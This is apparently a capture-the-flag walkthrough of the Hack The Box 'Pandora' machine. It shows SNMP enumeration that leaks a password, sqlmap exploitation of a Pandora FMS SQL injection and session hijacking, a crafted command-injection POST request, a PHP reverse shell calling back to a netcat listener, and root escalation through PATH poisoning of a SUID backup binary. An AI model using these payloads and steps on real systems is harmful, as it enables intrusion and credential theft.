INITIAL RECON

I usually start with my standard nmap recon command:

```
kali㉿kali$ nmap -sC -sT -o nmapinitial 10.10.11.136
```

The output did not really produce anything interesting as open ports, just a website running on port 80:

```
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey:
|   3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA)
|   256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA)
|_  256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519)
80/tcp open  http
|_http-title: Play | Landing
```

Upon visiting the website I was met with a landing page of "PLAY", stating to be an extension of panda.htb. Would that mean anyting?

While Playing around, I was not able to find any interesting entry points. At the bottom of the page there is a "Contact Us" form but nothing happens when one clicks on "Send Message".

Boring.

Running out of options it was time to try something else, so I went back to the initial tool `nmap` but this time ran a service scan, as below:

```
kali㉿kali$ nmap -sU -v -o nmapservicescan 10.10.11.136
```

Uuuh, I found something:

```
PORT    STATE SERVICE
161/udp open  snmp
```

Port 161 seems to be used by snmp!

Someone might ask, what the hell is nmp? Well here is a quick description from our friend The Internet: "Simple Network Management Protocol (SNMP) is a networking protocol used for the **management and monitoring of network-connected devices in Internet Protocol networks**"

Now, we can try to get some information from the service by running `snmpenum` like this:

```
kali㉿kali$ snmpenum 10.10.11.136 public linux.txt | tee -a snmpenum
```

Which will give you a big amount of information about the system.

```

----------------------------------------
        LISTENING TCP PORTS
----------------------------------------


22



----------------------------------------
        RUNNING PROCESSES
----------------------------------------


systemd
kthreadd
rcu_gp
rcu_par_gp
---cut some data---
apache2
apache2
apache2
apache2



----------------------------------------
        RUNNING SOFTWARE PATHS
----------------------------------------


/sbin/init
/lib/systemd/systemd-journald
/lib/systemd/systemd-udevd
/lib/systemd/systemd-networkd
---cut some data---
```

```
/lib/systemd/systemd
(sd-pam)
/usr/sbin/apache2
gpg-agent
sshd: daniel [priv]
sshd: daniel@pts/4
-bash
/usr/bin/gpg-agent
ssh
sshd: daniel [priv]
/usr/sbin/apache2
sshd: daniel@pts/1
-bash
/usr/sbin/apache2
ssh
sshd: daniel [priv]
sshd: daniel@pts/2
-bash
sshd: daniel [priv]
sshd: daniel@pts/3
-bash
---CUT---
---CUT---
/usr/sbin/apache2
/usr/sbin/apache2
/usr/sbin/apache2
/usr/sbin/apache2


----------------------------------------
        MOUNTPOINTS
----------------------------------------

Physical memory
Virtual memory
Memory buffers
Cached memory
Shared memory
Swap space
/run
```

```
/
/dev/shm
/run/lock
/sys/fs/cgroup
/boot
/run/user/1001


----------------------------------------
        UPTIME
----------------------------------------

4 hours, 08:48.82


----------------------------------------
        SYSTEM INFO
----------------------------------------

Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021
x86_64


----------------------------------------
        HOSTNAME
----------------------------------------

pandora


----------------------------------------
        LISTENING UDP PORTS
----------------------------------------

161
```

Now, in the output we see a recurring user, `daniel`. This might be helpful in the future, so let's take note of it. We finally have an username!

The next tool I'll use is `snmpwalk` , code below:

```
kali㉿kali$ snmpwalk -c public -v 2c 10.10.11.136 | tee -a snmpwalk
```

This will now take a while, walk thorugh every single node and relative child of the snmp service. The output will be HUGE, so be ready. The next phase is to find the information we need from the output. Not sure what is more painful between waiting for this tool to finish or having to parse its output.

For brevity I will include just the `head` command of the `snmpwalk` file, the amount of info is really too big to include it all:

```
kali㉿kali$ head snmpwalk
iso.3.6.1.2.1.1.1.0 = STRING: "Linux pandora 5.4.0-91-generic #102-Ubuntu SMP
Fri Nov 5 16:31:28 UTC 2021 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (1403304) 3:53:53.04
iso.3.6.1.2.1.1.4.0 = STRING: "Daniel"
iso.3.6.1.2.1.1.5.0 = STRING: "pandora"
iso.3.6.1.2.1.1.6.0 = STRING: "Mississippi"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (7) 0:00:00.07
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
```

We now know we are looking for a "STRING" in the output but also a "daniel", so let's type out a lazy grep and see the result:

```
kali㉿kali$ cat snmpwalk | grep 'STRING' | grep daniel
iso.3.6.1.2.1.25.4.2.1.4.34149 = STRING: "sshd: daniel [priv]"
so.3.6.1.2.1.25.4.2.1.4.34232 = STRING: "sshd: daniel@pts/4"
`iso.3.6.1.2.1.25.4.2.1.4.50768 = STRING: "sshd: daniel [priv]"
`iso.3.6.1.2.1.25.4.2.1.4.50861 = STRING: "sshd: daniel@pts/1"
`iso.3.6.1.2.1.25.4.2.1.4.66757 = STRING: "sshd: daniel [priv]"
`iso.3.6.1.2.1.25.4.2.1.4.66841 = STRING: "sshd: daniel@pts/2"
`iso.3.6.1.2.1.25.4.2.1.4.67196 = STRING: "sshd: daniel [priv]"
`iso.3.6.1.2.1.25.4.2.1.4.67283 = STRING: "sshd: daniel@pts/3"
`iso.3.6.1.2.1.25.4.2.1.5.845 = STRING: "-c sleep 30; /bin/bash -c
'/usr/bin/host_check -u daniel -p HotelBabylon23'"
`iso.3.6.1.2.1.25.4.2.1.5.1120 = STRING: "-u daniel -p HotelBabylon23"
`iso.3.6.1.2.1.25.4.2.1.5.50767 = STRING: "-L 8080:127.0.0.1:80
daniel@pandora.htb"
```

```
`iso.3.6.1.2.1.25.4.2.1.5.66756 = STRING: "-L 8080:127.0.0.1:80
daniel@pandora.htb"`
```

And my lazy grep worked! We now have username and password! Not bad for a system that is supposed to manage and monitor connections... anyway...

The output there are some other weird tunnelled connections too, I wonder if that will be useful in the future...

FIRST ACCESS

Now, I am going to try the user and password that we just found with `ssh`

```
kali㉿kali$ ssh daniel@10.10.11.136
The authenticity of host '10.10.11.136 (10.10.11.136)' can't be established.
ED25519 key fingerprint is SHA256:yDtxiXxKzUipXy+nLREcsfpv/fRomqveZjm6PXq9+BY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.10.11.136' (ED25519) to the list of known hosts.
daniel@10.10.11.136's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri 22 Apr 10:35:19 UTC 2022

  System load:           0.0
  Usage of /:            67.4% of 4.87GB
  Memory usage:          16%
  Swap usage:            0%
  Processes:             241
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.136
  IPv6 address for eth0: dead:beef::250:56ff:feb9:fb3f

  => /boot is using 91.8% of 219MB
```

```
0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your
Internet connection or proxy settings


Last login: Fri Apr 22 10:28:03 2022 from 10.10.14.49
daniel@pandora:~$
```

And we are in!

Unfortunately, `daniel` does not have the user flag or `user.txt` file, bummer I know... how about checking the list of users?

```
daniel@pandora$ getent passwd
---cut dump---
matt:x:1000:1000:matt:/home/matt:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
Debian-snmp:x:113:117::/var/lib/snmp:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
daniel:x:1001:1001::/home/daniel:/bin/bash
```

Now, there are a few interesting entries there: `matt` and `mysql` are the 2 that caught my attention. First, let's check `matt`:

```
daniel@pandora:~$ cd /home/matt && ls -lah
total 44K
drwxr-xr-x 5 matt matt 4.0K Apr 22 06:06 .
drwxr-xr-x 4 root root 4.0K Dec  7 14:32 ..
lrwxrwxrwx 1 matt matt    9 Jun 11  2021 .bash_history -> /dev/null
-rw-r--r-- 1 matt matt  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 matt matt 3.7K Feb 25  2020 .bashrc
drwx------ 2 matt matt 4.0K Apr 22 05:59 .cache
drwx------ 3 matt matt 4.0K Apr 22 06:04 .gnupg
-rw-rw-r-- 1 matt matt  250 Apr 22 06:00 .host_check
-rw-r--r-- 1 matt matt  807 Feb 25  2020 .profile
drwx------ 2 matt matt 4.0K Apr 22 05:59 .ssh
```

```
-rw-r----- 1 root matt   33 Apr 22 05:24 user.txt
-rw------- 1 matt matt  775 Apr 22 06:06 .viminfo
daniel@pandora:/home/matt$ cat user.txt
cat: user.txt: Permission denied
```

Tough luck, `daniel` does not have the user flag and `matt` does, unfortunately it is not accessible by our user.
You know what that means, time to check what is going on on the sql database!

And a big 'ol nothing it is! After multiple tries there is nothing that can be done to access the database with the user `daniel`.

It is time to check the /var/www directory and snoop around the source code of the website.

```
daniel@pandora:/$ cd /var/www && ls -lah
total 16K
drwxr-xr-x  4 root root 4.0K Dec  7 14:32 .
drwxr-xr-x 14 root root 4.0K Dec  7 14:32 ..
drwxr-xr-x  3 root root 4.0K Dec  7 14:32 html
drwxr-xr-x  3 matt matt 4.0K Dec  7 14:32 pandora
daniel@pandora:/var/www$ cd pandora && ls -lah
total 16K
drwxr-xr-x  3 matt matt 4.0K Dec  7 14:32 .
drwxr-xr-x  4 root root 4.0K Dec  7 14:32 ..
-rw-r--r--  1 matt matt   63 Jun 11  2021 index.html
drwxr-xr-x 16 matt matt 4.0K Dec  7 14:32 pandora_console
```

We have found a directory named pandora_console, what is in there?

```
daniel@pandora:/var/www/pandora$ cd pandora_console/ && ls -lah
total 1.7M
drwxr-xr-x 16 matt matt 4.0K Dec  7 14:32 .
drwxr-xr-x  3 matt matt 4.0K Dec  7 14:32 ..
-rw-r--r--  1 matt matt 3.7K Jan  3  2020 ajax.php
drwxr-xr-x  6 matt matt 4.0K Dec  7 14:32 attachment
-rw-r--r--  1 matt matt 1.2K Jun 17  2021 audit.log
-rw-r--r--  1 matt matt  534 Jan  3  2020 AUTHORS
-rw-r--r--  1 matt matt  585 Jan  3  2020 composer.json
-rw-r--r--  1 matt matt  16K Jan  3  2020 composer.lock
-rw-r--r--  1 matt matt  15K May 17  2019 COPYING
```

```
-rw-r--r--  1 matt matt  506 Jan  3  2020 DB_Dockerfile
drwxr-xr-x  2 matt matt 4.0K Dec  7 14:32 DEBIAN
-rw-r--r--  1 matt matt 3.3K Jan  3  2020 docker_entrypoint.sh
-rw-r--r--  1 matt matt 1.3K Jan  3  2020 Dockerfile
drwxr-xr-x 11 matt matt 4.0K Apr 22 05:47 extensions
drwxr-xr-x  4 matt matt 4.0K Dec  7 14:32 extras
drwxr-xr-x  2 matt matt 4.0K Dec  7 14:32 fonts
drwxr-xr-x  5 matt matt 4.0K Dec  7 14:32 general
drwxr-xr-x 20 matt matt 4.0K Dec  7 14:32 godmode
drwxr-xr-x 21 matt matt  36K Dec  7 14:32 images
drwxr-xr-x 21 matt matt 4.0K Dec  7 14:32 include
-rw-r--r--  1 matt matt  52K Dec  2 12:06 index.php
-rw-r--r--  1 matt matt  42K Jan  3  2020 install.done
drwxr-xr-x  5 matt matt 4.0K Dec  7 14:32 mobile
drwxr-xr-x 15 matt matt 4.0K Dec  7 14:32 operation
-rw-r--r--  1 matt matt  57K Apr 22 08:37 pandora_console.log
-rw-r--r--  1 matt matt  234 May 17  2019 pandora_console_logrotate_centos
-rw-r--r--  1 matt matt  171 May 17  2019 pandora_console_logrotate_suse
-rw-r--r--  1 matt matt  222 May 17  2019 pandora_console_logrotate_ubuntu
-rw-r--r--  1 matt matt 4.8K May 17  2019 pandora_console_upgrade
-rw-r--r--  1 matt matt 1.2M Jan  3  2020 pandoradb_data.sql
-rw-r--r--  1 matt matt 157K Jan  3  2020 pandoradb.sql
-rw-r--r--  1 matt matt  476 Jan  3  2020 pandora_websocket_engine.service
drwxr-xr-x  3 matt matt 4.0K Dec  7 14:32 tests
drwxr-xr-x  2 matt matt 4.0K Dec  7 14:32 tools
drwxr-xr-x 11 matt matt 4.0K Dec  7 14:32 vendor
-rw-r--r--  1 matt matt 4.8K Jan  3  2020 ws.php
```

Ok maybe this time we are on the right path. After snooping around the files I finally found z pandora_console link. Interesting, there appears to be a /pandora_console page, but when we try to acces it it seems to not be existing.

Let's try with ssh port forwarding! We saw that from the `snmpwalk` output. Exit the ssh connection and try this:

```
kali㉿kali$ ssh -L 8080:127.0.0.1:80 daniel@10.10.11.136
```

and then type the below in our browser:

```
http://localhost:8080/pandora_console/
```

Cross your fingers and hope for the best.

PANDORA_CONSOLE

Here we are! The Pandora login page!

Various attempt at bruteforcing our entry are not working, nor are the random sql injection attacks I am throwing at it. What am I missing?
The bottom of the login page has a version number, let's ask our good friend interent if there is a vulnerability for it!

Bingo! It appears to be an sql injection in one of the components, specifically in the char_generator.php session_id paramenter. This can lead to a login bypass. Let's ask our frind `sqlmap` what he thinks about it!

```
kali㉿kali$ sqlmap -u
http://127.0.0.1:8080/pandora_console/include/chart_generator.php?session_id=''
```

Now, `sqlmap` will ask me if I want to try various methods, to each one of them I respond `y` so the program can try do its best to exploit the vulnerability. Eventually. it is successful and gives us the following output:

```
web application technology: Apache 2.4.41, PHP
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[08:37:49] [INFO] fetching database names
[08:37:49] [INFO] retrieved: 'information_schema'
[08:37:50] [INFO] retrieved: 'pandora'
available databases [2]:
[*] information_schema
[*] pandora
```

Now, let's do it again but against a specific database to find out what tables are there:

```
kali㉿kali$ sqlmap -u
http://127.0.0.1:8080/pandora_console/include/chart_generator.php?session_id=''
-D pandora --tables
```

The output again is pretty big, 178 tables in total, so we now have to chose which table looks more enticing to us.

The ones that pop out ot me are the following:

```
Database: pandora
[178 tables]
+-------------------------------------+
| tpassword_history                   |
| treset_pass                         |
| treset_pass_history                 |
| tsesion                             |
| tsesion_extended                    |
| tsessions_php                       |
| tuser_double_auth                   |
| tuser_task                          |
| tuser_task_scheduled                |
| tusuario                            |
| twidget                             |
| twidget_dashboard                   |
+-------------------------------------+
```

All the tables could give valuable information, but these seem to be related to possible users, logs, sessions and widgets, that can lead to further exploitation.

After looking into the `tpassword_history` we find out that this contains hashes of the real passwords against usernames, so no chance on reversing them. `treset_pass` and `treset_pass_history` seem to be empty, `tsesion` and `tsesion_extended` have some info but not exploitable/usable, or so it looks to a n00b like me. `tsessions_php` seems to be the one holding session ids...

```
kali㉿kali$ sqlmap -u
http://127.0.0.1:8080/pandora_console/include/chart_generator.php?session_id=''
-D pandora -T tsessions_php --dump
```

---output cut for brevity sake---

```
+----------------------------+---------------------------------------------------
---+--------------+
| id_session                 | data
| last_active |
+----------------------------+---------------------------------------------------
---+--------------+
| 09vao3q1dikuoi1vhcvhcjjbc6 | id_usuario|s:6:"daniel";
| 1638783555  |
| 0ahul7feb1l9db7ffp8d25sjba | NULL
| 1638789018  |
| 192vcn2n50ito95h9bae1eahp3 | NULL
| 1650629375  |
| 1um23if7s531kqf5da14kf5lvm | NULL
| 1638792211  |
| 2e25c62vc3odbppmg6pjbf9bum | NULL
| 1638786129  |
| 346uqacafar8pipuppubqet7ut | id_usuario|s:6:"daniel";
| 1638540332  |
| 3me2jjab4atfa5f8106iklh4fc | NULL
| 1638795380  |
| 4f51mju7kcuonuqor3876n8o02 | NULL
| 1638786842  |
| 4nsbidcmgfoh1gilpv8p5hpi2s | id_usuario|s:6:"daniel";
| 1638535373  |
| 50mp49bu335o5aas17votu2e7q | NULL
| 1650631580  |
| 59qae699l0971h13qmbpqahlls | NULL
| 1638787305  |
| 5fihkihbip2jioll1a8mcsmp6j | NULL
| 1638792685  |
| 5i352tsdh7vlohth30ve4o0air | id_usuario|s:6:"daniel";
| 1638281946  |
| 69gbnjrc2q42e8aqahb1l2s68n | id_usuario|s:6:"daniel";
| 1641195617  |
| 81f3uet7p3esgiq02d4cjj48rc | NULL
| 1623957150  |
| 8m2e6h8gmphj79r9pq497vpdre | id_usuario|s:6:"daniel";
| 1638446321  |
| 8upeameujo9nhki3ps0fu32cgd | NULL
| 1638787267  |
| 9ciq4dph1pjjd0rg9aiaeebmq5 | NULL
| 1650631509  |
| 9vv4godmdam3vsq8pu78b52em9 | id_usuario|s:6:"daniel";
| 1638881787  |
| a3a49kc938u7od6e6mlip1ej80 | NULL
| 1638795315  |
| agfdiriggbt86ep71uvm1jbo3f | id_usuario|s:6:"daniel";
| 1638881664  |
| bj222tfhh5jnh7gioaui2q3jl4 | id_usuario|s:6:"daniel";
| 1650631069  |
| bv4ice6r46ihg5n1fto8o2hnrv | id_usuario|s:6:"daniel";
| 1650631502  |
| cojb6rgubs18ipb35b3f6hf0vp | NULL
| 1638787213  |
| d0carbrks2lvmb90ergj7jv6po | NULL
| 1638786277  |
| dhckkkahkha1ndvkl5gojnetr3 | NULL
| 1650632773  |
| ecj2if3teftd92lh1q7ac1l8st | NULL
| 1650631766  |
| f0qisbrojp785v1dmm8cu1vkaj | id_usuario|s:6:"daniel";
| 1641200284  |
| fikt9p6i78no7aofn74rr71m85 | NULL
| 1638786504  |
| fqd96rcv4ecuqs409n5qsleufi | NULL
| 1638786762  |
| g0kteepqaj1oep6u7msp0u38kv | id_usuario|s:6:"daniel";
| 1638783230  |
| g4e01qdgk36mfdh90hvcc54umq | id_usuario|s:4:"matt";alert_msg|a:0:
{}new_chat|b:0; | 1638796349  |
| gf40pukfdinc63nm5lkroidde6 | NULL
| 1638786349  |
| heasjj8c48ikjlvsf1uhonfesv | NULL
| 1638540345  |
| hm2qst3cnid1lf91m11bgv9qje | NULL
| 1650632391  |
| hsftvg6j5m3vcmut6ln6ig8b0f | id_usuario|s:6:"daniel";
| 1638168492  |
| j0t4vlh8qqbqehgplmoj5b3vit | id_usuario|s:6:"daniel";
| 1650630810  |
| jecd4v8f6mlcgn4634ndfl74rd | id_usuario|s:6:"daniel";
| 1638456173  |
| kp90bu1mlclbaenaljem590ik3 | NULL
| 1638787808  |
| lpbecbvrlt35l1rfa9a41gtvu2 | NULL
| 1650632453  |
| m7eph1ao1k1tnibf4f169e9o9u | id_usuario|s:6:"daniel";
| 1650629429  |
| ne9rt4pkqqd0aqcrr4dacbmaq3 | NULL
| 1638796348  |
| o3kuq4m5t5mqv01iur63e1di58 | id_usuario|s:6:"daniel";
| 1638540482  |
| ocacjmmn5rgmdqctau63qpa7t8 | id_usuario|s:6:"daniel";
| 1650629229  |
| oi2r6rjq9v99qt8q9heu3nulon | id_usuario|s:6:"daniel";
| 1637667827  |
| pjp312be5p56vke9dnbqmnqeot | id_usuario|s:6:"daniel";
| 1638168416  |
| qpkv4qrvjllliijk7rgfvperhv | NULL
| 1650632555  |
| qq8gqbdkn8fks0dv1l9qk6j3q8 | NULL
| 1638787723  |
| r097jr6k9s7k166vkvaj17na1u | NULL
| 1638787677  |
| r7mlq3g78kphm4s6asrvq976co | NULL
| 1650631589  |
| rgku3s5dj4mbr85tiefv53tdoa | id_usuario|s:6:"daniel";
| 1638889082  |
| rrb02vn042vrbaqiuv5p6pa6dr | NULL
| 1650631572  |
| taib2lh2ibq5gcopuen1hcc4tt | alert_msg|a:0:
{}new_chat|b:0;id_usuario|s:4:"matt"; | 1650629478  |
| u5ktk2bt6ghb7s51lka5qou4r4 | id_usuario|s:6:"daniel";
| 1638547193  |
| u74bvn6gop4rl21ds325q80j0e | id_usuario|s:6:"daniel";
| 1638793297  |
| uj1pbkpir444qk7rv84iqs99tm | NULL
| 1650631627  |
| v5v4cq1meloi7ikl9ls89gp9vr | NULL
| 1650629925  |
+----------------------------+---------------------------------------------------
---+--------------+
```

I am wondering if matt's session id could be used to log in. We can try to use the `g4e01qdgk36mfdh90hvcc54umq` session_id as it seems to be the one to work in our case (yeah I tried the others too, no luck muchachos).

```
http://localhost:8080/pandora_console/include/chart_generator.php?
session_id=g4e01qdgk36mfdh90hvcc54umq
```

We are met with a black page... but returning to the login page this time I am please to annouce that we are in! This happened because our session id is now set to `matt`'s account and not a random wannabe 1337_h4X0r.

After navigating a while inside the console, it doesn't seem like I can do much around here. Let's see if the internet has some suggestions again...

Apparently, the Pandora FMS console is vulnerable to CVE-2020-13851 and Metasplit has a module for us! Let's fire up our msfconsole and look for the module.

FAIL UNTIL YOU SUCCEED

Aaaand that's a fail. It seems like I cannot make it work, it might be beacuse I am using a tunneled connection and I am not that good at setting the module in the right way (**higly likely**)!

But but but I found other peeps on The Internet that could not make it work, they suggested to modify the http request in order to exploit the vulnerability: the right header and right payload in a POST request need to be crafted.

This needs can done as follows (you can simply craft it using the developer tools on your favourite web browser, or use Burp):

```
POST http://localhost:8080/pandora_console/ajax.php

Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/pandora_console/indexphp?
sec=eventos&sec2=operation/events/events
X-Requestd-With: XMLHttpRequest
Connection: close
Cookie: PHPSESSID=gncu1ulu8ane58jh39d6ob6njh
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Cache-Control: max-age=0, no-cache
Content-Length: 80
Content-type: application/x-www-form-urlencoded; charset=UFT-8
```

```
Pragma: no-cache
Origin: http://localhost:8080

page=include/ajax/events&perform_event_response=10000000&target=ls&response_id=1
```

Now, on the above code block please pay particular attention to the following:

This is a POST request, not a GET
The following headers must be present in the above form:
`Accept` , `X-Requested-With` , `Content-type` , `Sec-Fetch-Site` , `Sec-Fetch-Mode` , `Sec-Fetch-Dest` , `Referer` , `Connection`

The `Cookie` is the one you have currently in use, so no changes to be made there, as well as the `User-Agent`, `Accept-Encoding`, `Accept-Language` etc.

If the above is not working, check that your tunnelled ssh session is still active, the connection to the panodra_console is solely dependant on that!

I made multiple attempts with the wrong headers, when I got them right then I lost connection and all this was driving me mad for a good hour. (Extract from "tips on how not to be a n00b like me").

REVERSE SHELL AND OUR FIRST FLAG

Now, moving on folks. We need to get a reverse shell. My lazy method is to look for one on the internet and copy it to a file in the /home/daniel/ directory. After multiple tries I couldn't find a one that would work,so I went back to my host machine.

If you are using Kali Linux, you will have one here /usr/share/webshells/php/ a `php-reverse-shell.php` file is wating for you, but first there are a few changes to be made (extract below):

```
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
```

REMEMBER to substitute the ip address and the desired port to listen to! To make this work you can simply copy-paste the php code across the machines.

Start with copying the whole `php-reverese-shell.php` code from your machine, then create a file while logged in as Daniel (our tunneled ssh connection, remember that?). Daniel has `nano`, so it's a script-kiddie level copy-paste really.

If you want to make it more professional it is always easy to host a quick server on your machine with python, host the `php-reverse-shell.php` file there and use `wget` to download it onto the victim machine. That's a bit more noisy and pfffffft... who am I kidding?... copy-paste for the win.

Now it is time to use our friend `netcat` to listen to the incoming connection, just like below:

```
kali㉿kali$ nc -lvp 4444
```

Go back to the pandora_console and craft a new payload to read the file, **the headers stay the same, as well as the POST request**, just a different payload:

```
page=include/ajax/events&perform_event_response=10000000&target=php+/home/daniel
/php.shell&response_id=1
```

This should give us a shell as matt!

```
kali㉿kali$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.11] from pandora [10.10.11.136] 33298
Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021
x86_64 x86_64 x86_64 GNU/Linux
 06:31:36 up  1:07,  2 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
daniel   pts/0    10.10.14.11      05:26   39.00s  0.07s  0.07s -bash
daniel   pts/1    10.10.14.2       05:30    1:01m  0.03s  0.03s -bash
uid=1000(matt) gid=1000(matt) groups=1000(matt)
/bin/sh: 0: can't access tty; job control turned off
$
```

Now, we know that `matt` has the user flag, so let's navigate to the /home/matt/ directory and cat the user.txt file!

```
matt@pandora:~$ cd home/matt
matt@pandora:~$ ls
tar
user.txt
matt@pandora:~$ cat user.txt
```

Ok our first flag has been found! Now what? But onto owning the system of course!

PRIV ESC AND A LOT MORE FAILING

After another hour of looking around aimlessly, I finally decided to list all the files with permission set to matt. Maybe we can find some kind of binary to use for our privilege escalation!

My favourite lazy code down here:

```
matt@pandora:~$ ls -lah | grep matt
```

Luckly, `grep` is available to matt, and running the above command in the /usr/bin directory will give us this output:

```
matt@pandora:/usr/bin$ ls -lah | grep matt
ls -lah | grep matt
-rwsr-x---  1 root   matt     17K Dec  3 15:58 pandora_backup
```

When we use `cat` on the file, it looks like a lot of gibberish, but it also displays something on the lines of "Pandora FMS Backup Utility", we might be on the right track.

The `cat` command also displays something that looks like a backup attempt by root `PandoraFMS Backup UtilityNow attempting to backup PandoraFMS clienttar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*Backup failed! Check your permissions!Backup successful!Terminating program!`. This file might be the key for us to escalate our privileges. Root runs this file that is owned by matt through the usage of `tar`.

Looking on the internet, we can find that `tar` is vulnerable to a path poisoning attack. You can read all in this link https://book.hacktricks.xyz/linux-unix/privilege-escalation . But first we need to check if we have availbale any writabale folder in $PATH.

```
matt@pandora:/usr/bin$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

Oops, it looks like we do, so we can now proceed with our path poisoning attack!

```
matt@pandora:/usr/bin$ cd /tmp
cd /tmp
matt@pandora:/tmp$ echo "/bin/bash" > tar
echo "/bin/bash" > tar
matt@pandora:/tmp$ chmod 777 tar
chmod 777 tar
matt@pandora:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
matt@pandora:/tmp$ ls -lah
ls -lah
total 12K
drwxrwxrwt  2 root root 4.0K Apr 26 05:58 .
drwxr-xr-x 18 root root 4.0K Dec  7 14:32 ..
-rwxrwxrwx  1 matt matt   10 Apr 26 07:23 tar
```

We are now ready for our last step, run `/usr/bin/pandora_backup` as `matt` and we shall own this box!

```
matt@pandora:/tmp$ /usr/bin/pandora_backup
/usr/bin/pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
matt@pandora:/tmp$ cat tar
cat tar
/bin/bash
matt@pandora:/tmp$ whoami
whoami
matt
```

Aaaand it didn't work. Uhm...

There must be something missing here...

Back to our /usr/bin directory. Maybe we should look more in depth. Here (https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid) it seems like we need to escape the restricted envirnoment of our shell... and I found a way to check for all SUID binaries that could lead us there if exploitable.

```
find / -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/pandora_backup
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/at
/usr/bin/fusermount
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
```

This brought me to GTFOBins and specifically to the `at` section, one of the findings from above (https://gtfobins.github.io/gtfobins/at/).

I somehow lost my elevated shell as `matt` so I had to run again our small python script aaand... nothing. Exit. Close. Destroy. Restart. Run once again the exploit from the website and listen on `netcat`. I am back in.

Now, what the `at` exploit allow us to do is to "break out from restricted environments by spawning an interactive system shell", exactly what the doctor ordered!

Let's run it and then try our privilege esclation one more time, this time exploiting the `at` vulnerability first:

```
matt@pandora:/$ echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f
/dev/null
<(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
warning: commands will be executed using /bin/sh
job 2 at Tue Apr 26 07:54:00 2022
/bin/sh: 0: can't access tty; job control turned off
$
```

FIrst step, seems like our shell got downgraded one more time, but let's continue!

```
$ cd /tmp
cd /tmp
$ echo "/bin/bash"> tar
echo "/bin/bash"> tar
$ chmod 777 tar
chmod 777 tar
$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
```

MOMENT OF TRUTH

```
$ /usr/bin/pandora_backup
/usr/bin/pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
bash: cannot set terminal process group (864): Inappropriate ioctl for device
bash: no job control in this shell
root@pandora:/tmp# whoami
whoami
root
root@pandora:/tmp# id
id
uid=0(root) gid=1000(matt) groups=1000(matt)
root@pandora:/tmp#
```

LADIES AND GENTLEMAN WE HAVE COMPLETED PANDORA!

THE LAST FLAG

Just don't forget to cat the root.txt file, we still need tat flag comrades! (it's simply inside the folder /root)

Our final step would be to clean the victim machine from potential exploits, so if you have doe the copy-paste step from before, please remember to delete the file... it was kinda useless anyway.

HAPPY HACKING TO EVERYONE